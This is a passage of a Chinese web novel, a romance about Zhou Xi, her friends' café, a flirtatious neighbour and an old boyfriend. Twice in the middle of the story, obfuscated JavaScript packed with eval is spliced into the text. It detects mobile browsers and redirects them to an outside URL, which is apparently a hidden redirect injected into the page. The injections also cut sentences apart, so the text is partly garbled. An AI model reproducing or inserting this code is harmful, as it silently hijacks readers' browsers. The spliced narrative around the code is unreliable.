她刚才特意泡了这个茶,就是想来开解一下周禧的。 田恬:“其实味道也会骗人,我以前喝不惯,现在喝多了,也能习惯这种欺骗性的味道了,就像很多面包店走在路边就觉得特别特别香,其实根本不是面包的味道,是店里喷了面包香味的精油香薰……” 她的人生道理一发散就没有边际。 院子里风铃响了,周禧看向窗外,看到有个穿着西装外套的年轻女孩朝屋里张望。 现在还没到营业时间,那女孩也不进来,邵海出去看了一眼。 问了几句,是女孩想买瓶矿泉水喝,不知道这里是否零售。 邵海于是给她倒了杯温开水,也没要她的钱,对方连连道谢,喝完水就走了。 周禧收回视线,田恬的哲理课还没结束。周禧拿起茶杯,说:“哦,可我根本没闻到柑橘,也没期待是酸酸甜甜的口感。” 田恬噎住,冷了一下才问:“啊?你,你闻也闻不到了?” 她好像有些慌乱,带着弄巧成拙的局促,说着“没事”,但也不知道是什么没事。 周禧看她这样,扑哧笑了:“我骗你的,我嗅觉好的,我就是不想听你讲大道理了,我本来也接受得挺好的,你一直安慰我,我要烦了。” 田恬的表情变了几变,最后瞪周禧一眼:“大早上道德绑架我,你缺不缺德!” 周禧:“我都缺德了,还拿什么道德绑架你。” 田恬冷哼着跑去跟邵海对账单了,留周禧自己在窗边看书。 周禧端着那杯红茶,清澈的茶汤,闻着有肉桂的浓郁,柑橘的甜味又很跳,她有段时间加班很喜欢喝这种茶,早已知道它的味道就是茶味,不带一丝酸甜。 所以即使味觉失灵了,她的大脑也能做出正确的判断,这就是茶味。 只有那种满心期待一种美味,又吃到了难吃的东西,才会失望甚至自怜。 没有期待的时候,是不会沮丧的。 手机震动,是陆玖发来的一张截图,神奇的大数据给他推送了某社交平台的一篇探店图文,内容有写“吃到了CC亲手做的小蛋糕”。 陆玖:“创业去了?” 感觉并不是什么简单的问候。 周禧涌上一阵烦闷。 她看小帅对岗位适应良好,这里似乎并不需要她了。于是她跟田恬说要出去走走,“给圈宝买巧克力去。” 田恬挥挥手:“去吧,别买太贵的哈。” 周禧:“这会儿又跟我客气上了。” 田恬:“不是,太贵的话,万一他喜欢吃,我又不能天天买。” 周禧竖起大拇指:“睿智妈妈。” 周禧披上米色的风衣,沿着林荫小路一直走向尽头的海边。 天晴,海上无雾,能见度很好,能看到远处的小岛,孤独地漂在大海中央。 周禧感到宁静,海太广阔了,能吞没普通人所有不值一提的烦恼。 她不仅平静,还觉得充满了能对抗一切的力量,所以她勇敢地掏出手机,用力敲击着屏幕回复:“你很烦。” 阳光照在屏幕上有些反光,一瞬间她看见自己得意的眯起来的眼睛,一瞬间又看清楚了屏幕上的对话框,眼睛瞪大。 啊,她好像发错人了? 周禧走到树荫底下,手机屏幕自动调整了亮度,对话框也更清晰了。 她给陆玖的备注是“69”,而刚才她信息发给的是“619”——住她隔壁的邻居秦朗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006081|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦朗的头像和陆玖很像,都是个蓝色背景的半身人像,用这类照片当头像的人多半很自恋。 巧的是,他刚才也给周禧发了信息,一张快递箱照片,和一行解释的话:“快递送错了,我不小心打开。” 周禧就这么稀里糊涂发错了人。 秦朗收到那条语气不善的信息后发来个可爱的表情包,泪眼汪汪的KT猫说着“sorry”。 周禧回看了一下他俩这个对话,感觉自己那一句“你很烦”虽然语气冲,倒也符合语境,只是显得人脾气不怎么温和罢了。 秦朗又发来:“我该怎么赔罪?” 明明很小的一件事,邻居拆错了快递而已,他这么问在周禧看来已经超出友邻的边界了。 嗤笑一声“轻浮”,周禧闲着无事,想了想,便问:“知道哪里有卖好吃的巧克力吗?” 半小时后,他们在新开的巧克力博物馆门口碰头。 秦朗倒是也给出了两个商场的巧克力专柜建议,但周禧谨遵田恬“别买太贵”的指示,都拒绝了,想要性价比高还好看可爱的款式。 然后秦朗就发来这个定位,并表示自己也想来参观一下。 说是博物馆,可供参观的区域并不大,有一些漂亮精致的巧克力雕塑品。 也有手作区,能做可可粉的版画,店员热情招揽他们来试试,“可以把名字画上,很多情侣都会留个纪念。” 周禧对秦朗笑笑:“下次你陪女朋友来画吧。” 秦朗也笑:“听起来不错,等我有了的。” 他今天穿着米色的亚麻质地衬衣,袖口挽起来,露出来的手臂是结实的小麦色,跟他整个人气质很搭,很随意很慵懒,有一点侵略感的野性,但那笑脸又无端让人觉得亲近。 从展区逛到售卖区,周禧找到圈宝点名的草莓牛奶口味巧克力,旁边有个小盒子放了切碎的试吃品。 周禧拿小叉子插了一块试吃,秦朗也跟着插了一块。 他俩一起嚼呀嚼,旁边年轻的男售货员安静地等他们给出评价,再来决定是否需要给以服务。 秦朗对甜食无感,他象征性地点点头。 就听见周禧说:“有一股淡淡的鱼腥味。” 秦朗和售货员同时露出疑惑的表情。 秦朗舔了舔嘴里残留的一点甜味确认,随即又点点头:“确实。” 售货员:??? 你俩不买就不买,不要诋毁我们家产品好吗? 周禧一边从货架上拿了两板新包装的巧克力,一边问秦朗:“真的吗?你尝得到?” 秦朗又不确定了:“我应该尝得到吗?” 周禧垂眼:“反正我尝到了。” 秦朗点头:“那我也尝到了。” 周禧对他比了个大拇哥。 售货员一边扫码收账,一边在心里骂:神经病!两个!! 巧克力是周禧自己买单的,秦朗站在她旁边,随手从收银台拿了一支巧克力棒棒糖,粉色小猪造型的,看了看配料表里有草莓,又换了另一支绿色小青蛙的。 他把那只大肚子圆滚滚小青蛙巧克力送给周禧,“这个赔给你,误拆了你的快递。” 周禧没客套,收下了就拆开包装,边往外走,边送进嘴里。 秦朗好奇问她:“什么味道的?” 什么味道呢? 周禧猜应该是抹茶味的,但她没什么实感,有点像在嚼蜡烛。 她随口问:“你早上吃饭了吗?” 秦朗答:“吃了,蛋炒饭。” 周禧便说:“哦,这个也是蛋炒饭味的。” 秦朗眯了眯眼睛:“我不信,让我尝尝。” 周禧抬头看他,哧笑了一声,一口把巧克力咬碎,把纸棒抽出来,上面还粘了一点糖巧碎屑和她的口水,她挑衅似的:“给~” 秦朗并没有觉得冒犯,甚至没有犹豫,真的要低下头来。 周禧吓一跳,在他吃到之前,一把将纸棒扔进旁边的垃圾桶里,心跳快了几拍,骂他:“你要疯。” 10. 分开旅行 周禧和秦朗在巧克力博物馆门口就分开了,她没等他开口问要不要一起吃午饭,或许他也没打算问。 她先说,和朋友已经约好。 秦朗便不纠缠,陪她一起在路边等出租车,很绅士地替她开车门,手挡在门顶送她上车。她降下车窗跟他道别,他弯腰,胳膊搭在窗框上,问她:“下次再做蛋糕记得喊我吃?” 周禧并不走心地满口答应:“好呀。” 车子开动,多话的司机打趣他们:“还热恋吧?” 周禧想,那轻浮的家伙多半是个海王,一分虚情也给演得像十分真心,好像他们是多么难分难舍的情侣一般,但她自觉自己不过是他鱼塘里的一条小鱼罢了。 回到咖啡馆,居然在院子里见到了王知夏,不过她不是一个人来的,在她对面还坐了个妆扮精致的女人,大概是生意伙伴。 王知夏往门口瞥了一眼,朝周禧招了招手。 周禧走过去,站在一旁并不打算坐下,听王知夏的介绍,跟那人打了个招呼:“黎总好。” 黎总手指在桌子上敲了两下,似乎在帮助回忆:“哎哎,你是‘禧欢吃’那个,那个……” 王知夏替她接话:“对,就是那个美食品牌的主理人,CC,来这边有个新项目。周禧你忙去吧,田恬刚才还问你呢。” 周禧也不耐烦跟人应酬,跟黎总客气招待了几句,提着袋子回店里去了。 田恬果然在找她:“想问你回不回来吃饭呢。” 店里除了王知夏那一桌,还有一桌情侣已经快吃完了,田恬做饭都做大份,周禧看看顾客桌上的菜,猜她今天中午的饭是烤大虾配意面。 BINGO!猜得没错。 周禧吃着田恬已经给她剥好的大虾肉,隔着窗看了一眼院子里的人,王知夏跟人相谈甚欢,满面笑容的模样一点不像作伪,连周禧都要被迷惑,以为她生来就是这么一个开朗健谈的性格。 田恬坐旁边,往手上涂了层厚厚的护手霜,最近洗刷太多,手是最先感觉到不适应的。 “她现在可真像个大人啊。”田恬感慨。 周禧视线收回来,看身边人,手在桌子边比划了下:“你孩子都那么大了,说这个?” 田恬摇头:“可我总觉得自己也还是个孩子呢。” 她又问:“你说王知夏现在这样开心吗?她真的要单一辈子?” 这话周禧更不知道怎么接了,她回了句“她没跟我说过”,就把话题揭过去了。 田恬也不再聊,喊小帅给王知夏那桌送两份红丝绒蛋糕,那是现成的切块蛋糕,冷柜里拿出来摆盘就行。 周禧看着看着,忽然想起来陆玖给她发的消息,她回错人以后还没搭理她老板呢。 这会儿拿起手机,心里也没什么戾气了,她好脾气地回陆玖:“是我朋友的店,我来玩。” 还发了一张尔康手的表情包,上面写着“老板你听我狡辩”。 她隔了这么久才回,陆玖居然秒回了,就跟蹲守着她似的,回得也很简单:“OK。” 把天聊成这样,那就是结束话题。 周禧也不管老板心里到底想的是什么样,有没有不爽,反正她挺自在的,不用聊了。 王知夏跟黎总那顿饭吃了很久,直到黎总看了眼时间,还要再去公司开会,她们才握手挥别。 王知夏站在院子里阳光最盛的空地上,打着哈欠伸了个懒腰。 田恬出来收拾桌子,看见她那样就过去拍了拍她的腰:“吃完饭不能伸懒腰,肠子扯断了!” 王知夏把手缩回来,怕了田姐,她总是有很多奇奇怪怪的“老古董规矩”。 王知夏今天穿的是件紫色的针织衫,短款的双拉链版型,上面拉到脖子下方露出锁骨,方形大领像个披肩。下面修身,举高双手的时候露出一截白皙的瘦腰。 田恬于是又发表妈言妈语:“你里面再穿个背心啊,这样漏着肚脐眼,透风拉肚子!” 周禧踏出门来就听见王知夏在挨训,乐不可支,“快把你的高腰裤往上提提,别冻着肚脐眼。” 王知夏头大,揉了揉眉毛,“知道了知道了,饶了我吧,我一会儿还要去见个大哥,里面套个背心多奇怪啊。” “大哥?什么大哥?”周禧和田恬的注意力成功被转移。 王知夏解释,“客户介绍的,最近运势不顺,找我看看星盘。” 周禧张大嘴巴:“啊,找你算命?什么大哥啊,脾气爆不爆,算不准的话会不会噶了你?” 王知夏不乐意了,拿出手机里存的证书照片:“瞧不起人呢,看看,英国皇家占星学院结业证书,咱专业的。” 田恬拿着扫帚扫垃圾,扫到王知夏脚下,让她躲开,“对,专业的,跟罗山道士学过道,在尼泊尔出过家,中外神仙没有她不认识的,算个命有什么了不起的。” 王知夏跳到旁边,把手机里存的田恬的星盘调出来看了眼,告诉田恬:“我看着你今天像是有血光之灾,你小心点……” 田恬“嘁”了一声,去后厨收拾。 没过十分钟又冲出来,哇哇叫着猛拍王知夏胳膊,“我来例假了!” “啧,你看,你看。”王知夏露出高深莫测的表情,还真像个小神婆。 周禧不解,并大受震撼,让王知夏教教自己。 正说笑着,有陌生号码打来,是大哥派来的司机来接王知夏了。 王知夏着急走,走之前附耳在周禧身边小声说:“别的教起来麻烦,这个简单哈,我看她脾气这么暴躁,看了眼日历,她一般都是这几天来事儿。” 周禧:…… “夏姐不成功谁成功?连好朋友小日子都记这么清楚!”周禧双手同时竖起大拇哥比赞,欢送王知夏出门。 踏出院门,俩人同时倒吸一口凉皮,不是,倒吸一口凉气。 来接王知夏的车是辆劳斯莱斯,司机穿着西装戴着白手套,很恭敬地站在车前为她拉开车门。王知夏没上车,先绕到车前,摸了摸金灿灿的飞天女神车标,甚至虚握了一下,问周禧:“我要是把这玩意儿掰下来,会被警察抓吗?” 司机很职业,听到这话面无表情,周禧已经拿手机搜车标报价了,“还行,才十八万八,姐喜欢的话可以全款拿下。” 司机这下没忍住,嘴角抽了一下。 还好王知夏是个成熟的大人,手没那么欠,跟周禧“拜拜”一声就坐上了车。 田恬是后来听周禧复述才知道王知夏要去见的“大哥”派劳斯莱斯来接她的,八卦之魂熊熊燃烧,都等不及她回来,就在三个人的小群里灵魂发问:“大哥多大年纪?长得怎么样?家是哪儿的?车是租的吗?” 王知夏当时正坐在茶室跟大哥喝茶,她两个手机,一个用来看盘,一直没空看另一个手机的消息,等大哥出去接电话的时候,她才喝着茶润着嗓子,点开另一个手机。 她看着田恬的问话觉得好笑,认真回她:“四十多快五十,长得还行,本地人,车应该不是租的,他自己坐的另一辆,库里南。” 田恬发来一条匪夷所思的问题:“星空顶的吗?” 王知夏差点把茶喷了,“我咋知道,我又没上去看看!” 大哥很快接完电话回来了,他坐在王知夏对面,脸上带着和煦的笑,“和王小姐聊天很愉快,最近确实因为拓展业务的事烦得睡不好,你的建议我会考虑的。” 王知夏又认真看了看他的星盘,放大其中的某个点位,看了几秒钟才沉吟,“您这个,呃,上个月金星逆行,您可能重逢了某个人,当然这个人可能一直没消失过,但是你们最近联系上了,您可能又心软了,动摇了您某个决定,建议您多听听身边人的建议,比如您的太太,避免重蹈覆辙。” 本来大哥都已经打算付款结束“咨询”了,结果因为这一句话,他像被戳中了心事似的,居然又打开了话匣子。可能因为对面这个“大仙”是陌生人,反而能放心倾诉。 于是王知夏从他模棱两可的话里听明白了来龙去脉,就是大哥早年间算是入赘到现在家里的,妻族有钱有势,他也有能力,后来有钱有权了也有了“心头好”,是他的得力女助手。但是被老婆发现以后立马断了关系,女助手拿了一笔分手费自己创业去了,现在因为某个契机又有合作的机会,女助手已经变成女老板,更有能力也更有魅力了,而且一直没结婚……大哥这心又蠢蠢欲动了。 一小时的咨询拉长到两小时的谈心,大哥把自己“顾家责任感”和“真爱难割舍”的两难讲得天花乱坠,王知夏陪着唏嘘了一番,最后跟他说解决迷茫的方式很多,比如可以等待,也可以通过学习模仿,不要冲动,问题总会解决的。 大哥深受启发,当场转了双倍的咨询费,又派司机送王知夏回去。 王知夏笑容满面道别,走之前还问了大哥一个摸不着头脑的问题:“您那库里南是星空顶的吗?” 大哥神色一肃:“是啊,怎么的,和我八字不合吗?” 王知夏佯装盘算:“还行,挺搭的。” 王知夏坐在回程的车上时,身心都觉得很疲乏,倒不是什么“泄露天机”后对自身的反噬,就是单纯的脑子累。 和人说话脑子累,和人说漂亮话更累。 这个大哥是黎总介绍的,朋友的朋友,她猜中间那个朋友就是大哥的心头旧爱,为什么是猜,因为黎总并没多讲什么,看似也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006082|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想左右她的“咨询”,是她从那些重合的信息里自己寻摸出来的。 星盘也好,八字也罢,算来算去都是算人心。 世人所求所烦,无非情和钱,也有为健康的,但除非病入膏肓,否则还是求医问药的多,求仙拜佛的少。 王知夏做制片,每天都在和人打交道,圈里热衷玄学,她占星也不过是随大流的社交手段,用玄之又玄的术语包装那些劝告,戳穿龌龊心思。 她揉了揉额角,想着要跟黎总再聊聊项目的资金链是不是很需要这位大哥,甚至觉得也可以认识一下大哥的太太,说不定更好下手“乞讨”。 这么一想,还是在田姐身边待着舒服,被骂几句,再顶几句嘴,没心没肺的猫儿似的。 王知夏觉得头晕,开了车窗透气,一边跟田恬发消息告诉她快到咖啡馆了让她来观摩豪车,一边看远处的柏树分神,拐进小路时意外遇到了拥堵。 旁边停车场的广播喇叭在放歌,依稀分辨出“我明白停在你的怀里,却不一定在你心里”,她赶紧将车窗升起来,不想听见下一句“巴黎下了一整天雨”。 只是在车窗完全关起来前,她又朝外面扫了一眼,看到个熟人。 到咖啡馆的时候,并没有看到在门口等她的田恬,倒是看到了不少人围在院子外面。 王知夏吓一跳,以为出了什么事,匆忙下车赶回去,却在院子里见到了咧着嘴笑的田恬,正拿着写了号码的纸条发给外面那些排队的人,还给人家倒了柠檬水和小零食。 王知夏继续往店里走,周禧站在前台给人点单和做咖啡,邵海在后厨,小帅在满屋飞。 她都没空问问这是怎么一回事,看到不停有顾客跟周禧拍合照,再看看周禧那都要笑僵住的脸,从柜子里扯了条围裙就系上开始帮工。 王知夏:“我就说,还没到晚高峰呢,怎么就堵上了。” 她们忙得脚不沾地,踏进门来的李铭则也觉得有点不适应。 田恬正好要去补充一壶柠檬水,引着李铭则直接进了屋,胳膊搭在柜台上,一边等饮水机灌水,一边打趣李铭则:“又来买蛋糕?这么想照顾我们生意的话,可以考虑充个卡,充一万送八十。” 什么黑店! 李铭则的手插在风衣兜里,视线在玻璃柜台里扫了一圈,小蛋糕已经售罄,柜台里空空如也,“我要一杯冰美式。” 临近傍晚,周禧想着,如果是她们要喝冰咖啡,田恬一定会骂她们不想睡觉了吧。 可面对李铭则,田恬还是挺有界限感的,客人点单什么她就做什么,只是加了比平时量更多的冰块。 李铭则就站在吧台边上,喝了一口咖啡,嫌淡:“咖啡粉很贵吗?” 田恬抱着手臂看他,怕他乱说话让其他客人误会,瞪他一眼:“李老师火挺大啊?” 李铭则哑火,居然不知道怎么让她给自己再做一杯,只能又喝了一大口,像是默认了自己火很大。 “他刚才倒车撞马路牙子上了。”王知夏旋转着倒退过来,插话一句,又小蝴蝶一样旋转着离开,“我回来时候正好看见了,‘咚’一声,是不是撞底盘了?” 王知夏刚才路过停车场的时候,看到李铭则发生事故下车查看的身影了。 李铭则微不可闻的叹了口气,刚才倒车的时候躲前面一个行人,没注意车后有个很低的台阶,底盘后挡板被撞掉了。 有两天没来了,今天真的是顺路,想的是最后一次来买蛋糕。 虽然他也没想明白这个“最后一次”是跟周禧说的还是跟自己说的。 周禧看见他有点五味杂陈,甚至有点害怕,怕他真有什么再续前缘的想法。 她对他的感情,既不想他忘了她,也不愿他忘不了她。 保持见面问安好的状态就行了,别再回头看来时路了。 两人只对视一眼,居然默契地又同时扭过脸去,没有更多交流。 他俩这点小动作,可太显眼了,在场的谁都不是瞎子。 又不是在操场上乌乌泱泱一群人,没人能看见他们的眉眼官司,就这个小的空间内,懂不懂什么叫欲盖弥彰啊? 王知夏和田恬对着彼此翻了个白眼,表达自己的无语。 蛋糕是没买成的,还喝了一杯加很多冰的超淡冰美式,车是要送去维修的,李铭则都不知道自己跑这一趟图什么。 他抓起来一旁的外套,径自转身要走了。 店门外,刚排到号的顾客又挤进来,把李铭则撞了一下。 李铭则皱眉,小臂却被人抓住。 他低头,是周禧跟了过来。 她的手从他胳膊上松开,拽拽他袖子:“我陪你去修车吧。” 11. 半杯热红酒 他俩并肩走出小院,沿着林荫道往后面的停车场走去。 李铭则又成了那个沉得住气的人,也没问她想跟他说什么,就安静地一起走着,转个弯,停车场就在眼前了,车后面是一排龙柏,不论冬夏都那么绿油油的挺拔地站着,被海风吹成奇特的形状,像毕加索画里的模样。 周禧先绕道去车屁股那里看了看,后面的板子翘起来了,好像又被李铭则捶进去了,但是看着不太稳当。 她问他:“这还能开吗?你要不叫维修店来拖走呢?” 李铭则也跟着又按了按那块板子,“问题不大,我现在就开过去。” 周禧刚刚是为了躲店里热情的“粉丝”,熬到王知夏来帮忙了就想着找个由头逃走。现在看看李铭则这车,再看看人气爆满的咖啡馆方向,决定还是先坐他的车离开:“那一起?” “好。”他解锁车门,周禧自己坐到了副驾上,系上安全带以后好奇地看四周的内饰。 李铭则也坐好,发动车子,这次很仔细地看着后视镜里的路况,从有些拥挤的停车场里开出去。 然后才问周禧:“看什么呢?” 周禧没头没脑地答:“看有没有星空顶。” 她不需要李铭则接话,又说:“好神奇啊,之前坐田恬开的车就觉得很神奇,第一次坐知夏开的车的时候也觉得新奇。” 这次不需要她解释“神奇什么”,李铭则都明白。 因为她第一次坐他开的车时,也大惊小怪的哇哇叫。 那是高考结束以后,他们报了同一个驾校学车,他学得快,自己找了辆教练车练习路考,她不怕死地坐在他车上陪着…… 想起过去的场景,他心里有不舒服的感觉,像被什么刺了一下似的。 他问周禧:“说这车坏了不安全,还要陪我去修车,不怕出事?” 周禧转过头来,盯着李铭则的侧脸。 他还是很好看,像当初她看上他的时候一样好看,没发福,没变老,甚至因为阅历的增加,冷冽的气质也更有男人味了。 就在他忍不住要看回去的时候,周禧转正了脸,笑嘻嘻地问:“你想听我说什么?对你爱得死去活来,要陪你同生共死?” 是明显的玩笑话,但是李铭则居然点点头,说:“可以。” 周禧噎住,也终于找到契机,问出口她最近一直想问的话:“你要干嘛啊?总来找我,做些让人误解的事。” “不知道。”李铭则这次的语气里带了他自己没察觉的烦躁,“我也不知道要干嘛,你那么聪明,如果知道了可以告诉我。” 他确实不知道,尤其是今天,他也感觉到了自己像是在做什么没意义的蠢事,可就是莫名其妙的,想着去看看她还在不在,想知道她走没走。 好多年了,见不到她的时候也不会时常想起她,可见到了,知道她就在不远的地方,好像就忍不住去看看。 他甚至揣摩当年她一直追着自己跑的时候是什么心态,被自己一次又一次冷漠推开的时候是不是会很郁闷。 “可别抬举我,我一点都不聪明。”周禧翻起旧账来,就像任何一个跟男朋友斗嘴的小女生,“我要是聪明的话,也不至于追了你三年。” 等红灯,李铭则终于能完全转头看她,“那不是到底追上了。” 周禧:“我还得谢谢你呗。” 李铭则:“不客气。” 周禧气得握起拳头砸了他一拳,他“嘶”了一声,绿灯亮了又踩油门出发,不跟她计较。 但是感觉,有些暧昧了。 周禧又看了他一眼,少女怀春时喜欢过的脸,真是很容易再次击中她啊。 她建议李铭则:“你去配个金丝框的眼镜吧,更像斯文败类。” 李铭则:“骂我?” 周禧:“夸你。” 李铭则:“谢谢你。” 周禧:“应该的。哦,我说你应该。” 你来我往的,都没觉得时间过去多久,就到了维修店。 如果李铭则的学生看到他们高冷的李老师话这么多,大概都要惊讶于他的“活泼”。 和工作人员交接完,车子留下了,李铭则去找周禧。 她坐在接待区的沙发上玩手机,桌子上摆的甜点盘满满的,她面前却空空的没有任何垃圾,和他印象中嘴闲不住的女孩不太相符。 李铭则夸她:“成熟了,不馋了。” 周禧斜他一眼:“是好东西吃多了,不稀罕破烂货了。” 李铭则:……怎么有种被冒犯的感觉? “走了,带你去吃好东西。”他约饭倒是约得名正言顺,毕竟外面天都黑了,她陪他来修车的,总不能叫她饿着肚子回去。 周禧把手机揣起来,给他这个面子:“吃什么?” 李铭则查看了下附近的地图,现在已经是晚高峰了,打车出去容易堵路上,不如就近解决。 确实有个步行能到的餐厅,“烤肘子吃不吃?” 周禧凑过去看他手机,看到那家德国餐厅的名字,“哎?这家我们以前是不是吃过?” 她低着头在他胸前,他看见她的发旋,白白的一小块皮肤,莫名戳中他心尖一块痒痒肉,让他很想伸手去揉一把。 他“嗯”了一声算作回答,确认了路线带着她往餐厅走。 李铭则感受到她不明显的低落情绪,不知道是不是因为想起过去让她不舒服了,他没再说什么,直到进了餐厅,点餐的时候才跟她交流。 周禧:“不太饿,你点你喜欢的吧。” 李铭则便点了招牌的那几样,点的时候没多想,点完了发现好像都是曾经吃过的,不知道周禧有没有发现。 服务生送来了免费的餐前面包,特色是配的黄油肝酱,李铭则记得周禧上次吃了三盘。 真奇怪,这种无关紧要的小细节,他此刻居然记得无比清晰。 他看着周禧,周禧没拿刀切,整截面包直接拿起来在酱碟里蘸了蘸,吃了一大口,看起来吃得挺香,可她只吃了两口就放下了,又好像不太喜欢。 周禧抿嘴:“你吃你自己的。” “嗯。”李铭则觉得哪里有些怪,说不出来,但就是觉得她不太开心。 主菜是脆皮猪肘,摆盘好看,周禧握着叉子,很期待的样子。她拍美食视频拍得多,其实很会表演吃东西,就是那种让人看了咽口水,觉得这食物格外美味的表演。 也不全是演的吧,虽然她味觉不太灵了,但能尝得出来口感,外皮烤得金黄酥脆,里面的肉却鲜嫩多汁,咬一口,层次丰富。她的脑子里自动解码了烤猪肘的味道,甚至多吃几口还有些腻,又吃了一口配的酸耶菜,口腔里是清爽的感觉。 土豆汤也不错,口感浓郁,汤里的熏肠粒和奶油都很有德式风情。 她明明吃得很香,李铭则却感觉心里一酸。 他说:“不饿就少吃点,晚上吃多了睡不好。” 是一句关心,却让周禧觉得恼火。 她知道自己的坏脾气来得毫无缘由,可她就是想发火,粉饰的太平被撕破,她不再是温文尔雅的前任,带着怨念和刻薄质问:“你好奇怪呀,你又不是我的谁,管得着那么多吗?” 她生气了,可李铭则却觉得踏实了,好像她终于露出真实样貌。他说:“我就是一个很讨厌的人,你不是早就知道了。” 周禧拿着钢叉狠狠插进肘子肉里,“别说得很了解我的样子,咱俩不熟。” 她又把肉送到嘴里,用力咀嚼着:“我就吃,就吃,气死你,我就吃!” 李铭则用手指揉了揉自己的太阳穴,然后无语地笑了,“那你吃吧,都是你的。” “……我不吃了!”周禧把餐具重重拍在桌布上,她才不听他摆布。 店 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他好像有些明白自己最近那不安的情绪是因为什么了。 因为曾经的记忆太深刻,就算分别再久,那些记忆也能轻易突破时间的界限,翻涌而出。 没有人不怀念青春。 可惜青春只有一次,青春里的那个人便成为最特别的。 周禧继续往前走了,李铭则跟在她斜侧身后,方便看她,怕她喝了点酒脚步虚浮。 他问:“这次回来待多久?” 这问题周禧还没想好,原本计划帮工到田恬招到店员就去旅游的,现在情况好像又复杂了。 她摇头:“不知道,可能待一阵子吧,不会很久。” 李铭则还是觉得周禧像有什么心事:“如果是遇到什么困难了,可以跟我说。” 周禧顿住,仰头问:“你有钱吗?” 李铭则心里快速过了一遍银行余额:“要多少?” 周禧:“两块吧,我想坐那辆公交车。” 李铭则:“……公交车可以扫码。” 周禧:“两块钱都不给我?” 李铭则:“我没带零钱。” 周禧的酒气还在上涌,她像曾经的她,无数次说一些让他疑惑无措的话,然后又若无其事地走开。 果然,她用手掌按了按自己的脸,“嘿,我回去了哈,太晚回家田恬要骂了,拜拜!” 她说着,抬脚就要走向对面的公交车站台。 不知道哪里窜出来的外卖电动车,穿破黑暗像一阵无影踪的风冲向周禧。 李铭则眼疾手快,一把拉住她的手腕,把她拉回身边。 冲力太大,周禧站不稳当,一头扎进了李铭则的怀里。 外卖车停都没停,呼啸而过。 周禧静了静心神,听到他的声音从她头顶传下来。他说:“如果你要留下来,我们可以好好谈谈;如果你很快就离开,那……” 周禧有些记不清自己多久没和男人拥抱了,真是醉了,她居然觉得这样被笼罩着的感觉挺舒服,忍不住抬起手,环住了他的腰。 她问:“那什么?” 李铭则声音闷闷的:“那就别招我了。” “……”醉只是一种感性的状态,脑子这种东西还是在脑壳里的。 这句话怎么听都有些倒打一耙的意思吧? 现在又不是高中那会儿,她跟屁虫一样黏着他。 她什么时候招他了? 哦,是说抱了他一下吗? 周禧站直了身子一把推开李铭则,温暖的相拥被冷风划破。 李铭则怅然若失,听她字正腔圆地嘲笑: “你,可别自作多情。” 12.充电宝和白月光 周禧回到田恬家的时候莫名心虚,感觉像是错过了寝室门禁时间,要被楼管阿姨盘问审查一番还要登记通报的噩梦时刻。 但是上大学的时候她可以索性不回寝室在外面过夜,今天她要是不回去的话,很难讲田恬会不会揪着她的耳朵追杀她三里路。 奇怪的是,即使心惊胆颤地思考如何应对田恬的拷问,周禧却没想过她其实可以不用非借住田恬家的,她在琴港市有房子,还是房本上写着她名字那种房子。 可朋友的家给她的归属感,包括那种束缚,都让她感到安宁。 来给她开门的是圈宝,他光着脚丫子,仰着头露出大大的笑脸:“阿禧你回来辣~你吃饭了吗?我给你留了一只大~大大螃蟹,最大的一只!” 周禧看到小孩,想起来自己忘记把巧克力带回来了,刚要道歉,圈宝已经在谢谢她的礼物,“你给我买的巧克力好好吃哦,可是妈妈只准我吃一块,一会儿我们吃螃蟹……” 他忽然压低了嗓音,拉着周禧的手指导她,“吃完了,你就说螃蟹太辣了,你想吃巧克力,然后呢,你就吃一口,就掰一块塞到我嘴里,要快一点,不要让妈妈看见。” 周禧听着他的战略部署,连连点头,比了个OK的手势表示自己明白了。 她贼头贼脑地换好拖鞋,洗了手就坐到饭厅去,餐桌上已经摆好了刚热过的螃蟹,一共两只,有一只确实特别大。 田恬和邵海像两个撒了气的气球摊在沙发上,看起来累得不轻。 周禧先问候了几句咖啡馆的事,得知他们今天依旧是到了打烊时间就下班了,“排在后面的那些客人,给他们发了半价优惠券让他们明天再来。” 看来明天还有一场硬仗。 田恬提醒她趁热吃螃蟹:“我婆婆做的,送了几只过来。” 周禧:“哦哦,正好我饿着呢!” 田恬眉头拧起来:“这么晚没吃饭?李铭则学校是不给他发工资吗,连顿饭都请不起?” 没等周禧解释,田恬站起来去厨房,从冰箱里拿出来一个硬面火烧,丢进空气炸锅里热了三分钟,给周禧当晚餐。 周禧有些心虚,怕田恬唠叨她,给什么吃什么,一点都不带犹豫的咔吧咔吧咬了两口火烧,这个饼皮是烤的焦黄的脆脆的,芯是软的,一层又一层。 周禧说:“我想吃杠子头,明天买杠子头吃吧,泡汤吃!” 田恬抱着手臂:“想屁吃,吃什么杠子头,我看你就是个‘杠子头’。” 杠子头,一种很硬很硬的饼,挺考验牙口的。 拿来形容人的话,是在骂她不知悔改,倔强嘴硬。 来了来了,妈咪要骂人了。 周禧提起一口气,做好了作战准备,竖着耳朵等待听教训,剥螃蟹肉的动作小心又小心。 连圈宝都感受到了气氛不对劲,原本眼巴巴等着吃巧克力的孩子,跳下板凳,决定溜之大吉,“阿禧你吃吧,我要去玩小汽车了。” 他还没蹦跶两下,被周禧拉回来摁在椅子上,对他猛猛抛眼刀,开玩笑,战略同盟这时候可不能散伙。 